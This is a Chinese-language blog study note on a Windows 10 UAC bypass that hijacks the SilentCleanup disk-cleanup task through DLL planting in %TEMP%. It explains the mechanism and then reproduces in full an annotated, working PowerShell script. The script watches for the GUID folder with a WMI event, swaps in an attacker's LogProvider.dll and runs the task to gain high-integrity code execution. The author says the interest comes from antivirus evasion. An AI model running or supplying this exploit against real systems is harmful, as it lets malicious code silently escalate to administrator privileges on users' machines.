UAC绕过学习


UAC绕过学习笔记

0x0

有感于hed10ne师傅在Re分享会上分享的UAC bypass绕过。当时对免杀有点感兴趣,一直苦于不知道要怎么学。这次刚好第一次了解到UAC绕过这种技术,进行了复现与学习。

0x1 磁盘清理绕过Window10 UAC学习

https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/

学习于这篇文章,虽然是16年的,知识了解对于一个初学者来学刚好。

文章中作者寻找到了一种以供非特权用户启动,但是可以提升到高权限运行的计划任务(Windows 10 库存安装中配置了一个名为“SilentCleanup”的计划任务)

然后跟踪发现是由计划任务 cleanmgr.exe(磁盘清理) 启动的实际进程由于在任务配置中设置了“以最高权限执行”而自动提升。

它会在“C:\Users<username>\AppData\Local\Temp”中创建一个名为 GUID 的新文件夹。(这一步因为磁盘清理操作太多了有7万条,用过滤器指定到Temp文件下也有1万6千多条,翻了半天没找到)

cleanmgr.exe 创建临时文件夹后,会将多个 DLL 和“dismhost.exe”复制到新文件夹中。(这些DLL和dismhost.exe来自Window/Temp)

将DismHost.exe及其DLL复制到”C:\USER<username>\AppData\Temp

<guid>”后,cleanmgr.exe 然后将“dismhost.exe”作为高权限进程启动

由于dismhost.exe 从“C:\Users<username>\AppData\Local\Temp<guid>”启动,它开始按特定顺序从同一文件夹加载 DLL(DLL搜索应用劫持,顾名思义dll加载会按照一定顺序搜索并且加载dll,而同文件下的dll是优先级最高的)

由于当前的中等完整性进程对用户的%TEMP%目录有写权限,因此可以劫持dismhost.exe加载的DLL,获得高完整性进程的代码执行。这通常被称为“ BypassUAC ”攻击(Bypass旁路)。
由于这种特殊情况是一种竞争条件,我们必须在 dismhost.exe 加载它之前替换目标 DLL。我们更仔细地检查了整个过程,并确定“LogProvider.dll”是 dismhost.exe 加载的最后一个 DLL,这给了我们劫持机会的最佳机会。有了这些信息,我们可以使用 WMI 事件(WMI事件就是系统内部进行的操作触发的事件,例如创建进程,打印,插入USB等)来监 视“C:\Users<username>\AppData\Local\Temp<guid>”的创建,然后为该 WMI 事件分配一个劫持“LogProvider.dll”的操作”通过将我们的“恶意”DLL 复制到“C:\Users<username>\AppData\Local\Temp<guid>”并将其命名为“LogProvider.dll”。由于此操作发生在 dismhost.exe 加载它之前,它将加载我们的 DLL 而不是预期的。(实现原理)

一旦 dismhost.exe 加载 DLL,它将作为高完整性加载,允许我们绕过用户访问控制并作为高完整性进程获取代码执行。

经过额外测试后,此技术不适用于标准用户帐户,因为 cleanmgr.exe 不会将任何文件提取到 %TEMP%。当以低或中等完整性作为标准用户执行时,任务以中等完整性运行,并且永远不会超过该值(标准用户相当于普通登录用户,证明这个操作在大多数用户机上都可以操作,实用性很高)

文章后面的内容就不多做复述,下面就是分析文章链接中给的Powershell用c#写的脚本。

0x1-2 UACBypass脚本分析学习

我没有学习过PowerShell脚本和C#,所以是现学现了解(感觉这种学习方法是比较最高效,一个知识面引申出其他的知识面,让自己一直主动的吸取知识)

function Invoke-UACBypass {

    [CmdletBinding()]                   #类似头文件一样 一般都会写一个 让脚本可以使用很多高级函数 公共参数 通过微软的about_functions_advanced_parameters学习
    [OutputType([System.IO.FileInfo])]  #OutputType[指定对象类型] System.IO.FileInfo 提供对文件的操作
    Param (
        [Parameter(Mandatory = $True)]  #Parameter 属性是声明参数时的唯一一个必需属性
        [String]
        [ValidateScript({ Test-Path $_ })]   #ValidateScript 属性指定用于对形式参数的实际参数进行验证的脚本   Test-Path 是检测路径参数是否都在
        $DllPath                             #参数就是DLLpath 代码效果就是检测DLLpath路径参数是不是都在
    )

    $PrivescAction = {
        $ReplacementDllPath = $Event.MessageData.DllPath    #获得DLLPath的信息输出区
        # The newly created GUID folder
        $DismHostFolder = $EventArgs.NewEvent.TargetInstance.Name   #新建一个目标实例名字 对应操作中的新建 GUID 文件夹
        
        $OriginalPreference = $VerbosePreference                    #把我们默认的输出参数保存起来 所以左边命名成了 Original 因为后面需要改变 Verbose的值

        # Force -Verbose to display in the event
        if ($Event.MessageData.VerboseSet -eq $True) {              #强制让事件显示
            $VerbosePreference = 'Continue'                         
        }

        Write-Verbose "DismHost folder created in $DismHostFolder"              #输出 GUID文件夹名字
        Write-Verbose "$ReplacementDllPath to $DismHostFolder\LogProvider.dll"  #输出 DLLPath的dll 复制到 GUID文件夹里面中的LogProvider.dll中
            
        try {
            $FileInfo = Copy-Item -Path $ReplacementDllPath -Destination "$DismHostFolder\LogProvider.dll" -Force -PassThru -ErrorAction Stop  #复制DLL到指定的文件夹
        } catch {
            Write-Warning "Error copying file! Message: $_"
        }

        # Restore the event preference
        $VerbosePreference = $OriginalPreference            #恢复输出默认值

        if ($FileInfo) {
            # Trigger Wait-Event to return and indicate success.
            New-Event -SourceIdentifier 'DllPlantedSuccess' -MessageData $FileInfo    #判断上面的复制有没有成功,成功就启动wait_event
        }
    }

    $VerboseSet = $False        #关闭Verbose
    if ($PSBoundParameters['Verbose']) { $VerboseSet = $True } #PSBoundParameters 获取命令行的参数 然后存成python中字典一样 key 和 value对应  这里就是判断Verbose里面的value 成功就把Verbose开启

    $MessageData = New-Object -TypeName PSObject -Property @{    # 创建一个PSobject
        DllPath = $DllPath
        VerboseSet = $VerboseSet # Pass the verbose preference to the scriptblock since 将详细参数首选项传递给脚本块since
                                 # event scriptblocks will not automatically honor -Verbose. 事件脚本块将不会自动执行-Verbose
    }

    $TempDrive = $Env:TEMP.Substring(0,2)           #获取环境变量TEMP0-2的字符串

    # Trigger the DLL dropper with the following conditions:           用以下条件触发DLL
    #  1) A directory is created - i.e. new Win32_Directory instance   创建一个目录-即新的Win32_Directory实例
    #  2) The directory created is created under %TEMP%                创建的目录在%TEMP%下创建
    #  3) The directory name is in the form of a GUID                  目录名采用GUID的形式
    $TempFolderCreationEvent = "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA `"Win32_Directory`" AND TargetInstance.Drive = `"$TempDrive`" AND TargetInstance.Path = `"$($Env:TEMP.Substring(2).Replace('\', '\\'))\\`" AND TargetInstance.FileName LIKE `"________-____-____-____-____________`""
    
    $TempFolderWatcher = Register-WmiEvent -Query $TempFolderCreationEvent -Action $PrivescAction -MessageData $MessageData  #注册一个WMI事件 名字分配一个GUID 指定一个WMI类的命名空间

    # We need to jump through these hoops to properly capture stdout and stderr of schtasks.
    $StartInfo = New-Object Diagnostics.ProcessStartInfo
    $StartInfo.FileName = 'schtasks'
    $StartInfo.Arguments = '/Run /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup" /I'
    $StartInfo.RedirectStandardError = $True
    $StartInfo.RedirectStandardOutput = $True
    $StartInfo.UseShellExecute = $False
    $Process = New-Object Diagnostics.Process
    $Process.StartInfo = $StartInfo
    $null = $Process.Start()
    $Process.WaitForExit()
    $Stdout = $Process.StandardOutput.ReadToEnd().Trim()
    $Stderr = $Process.StandardError.ReadToEnd().Trim()

    if ($Stderr) {
        Unregister-Event -SubscriptionId $TempFolderWatcher.Id
        throw "SilentCleanup task failed to execute. Error message: $Stderr"
    } else {
        if ($Stdout.Contains('is currently running')) {
            Unregister-Event -SubscriptionId $TempFolderWatcher.Id
            Write-Warning 'SilentCleanup task is already running. Please wait until the task has completed.'
        }

        Write-Verbose "SilentCleanup task executed successfully. Message: $Stdout"
    }

    $PayloadExecutedEvent = Wait-Event -SourceIdentifier 'DllPlantedSuccess' -Timeout 10

    Unregister-Event -SubscriptionId $TempFolderWatcher.Id

    if ($PayloadExecutedEvent) {
        Write-Verbose 'UAC bypass was successful!'

        # Output the file info for the DLL that was planted
        $PayloadExecutedEvent.MessageData

        $PayloadExecutedEvent | Remove-Event
    } else {
        # The event timed out.
        Write-Error 'UAC bypass failed. The DLL was not planted in its target.'
    }
}

文章作者: Blue
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Blue !
评论
  目录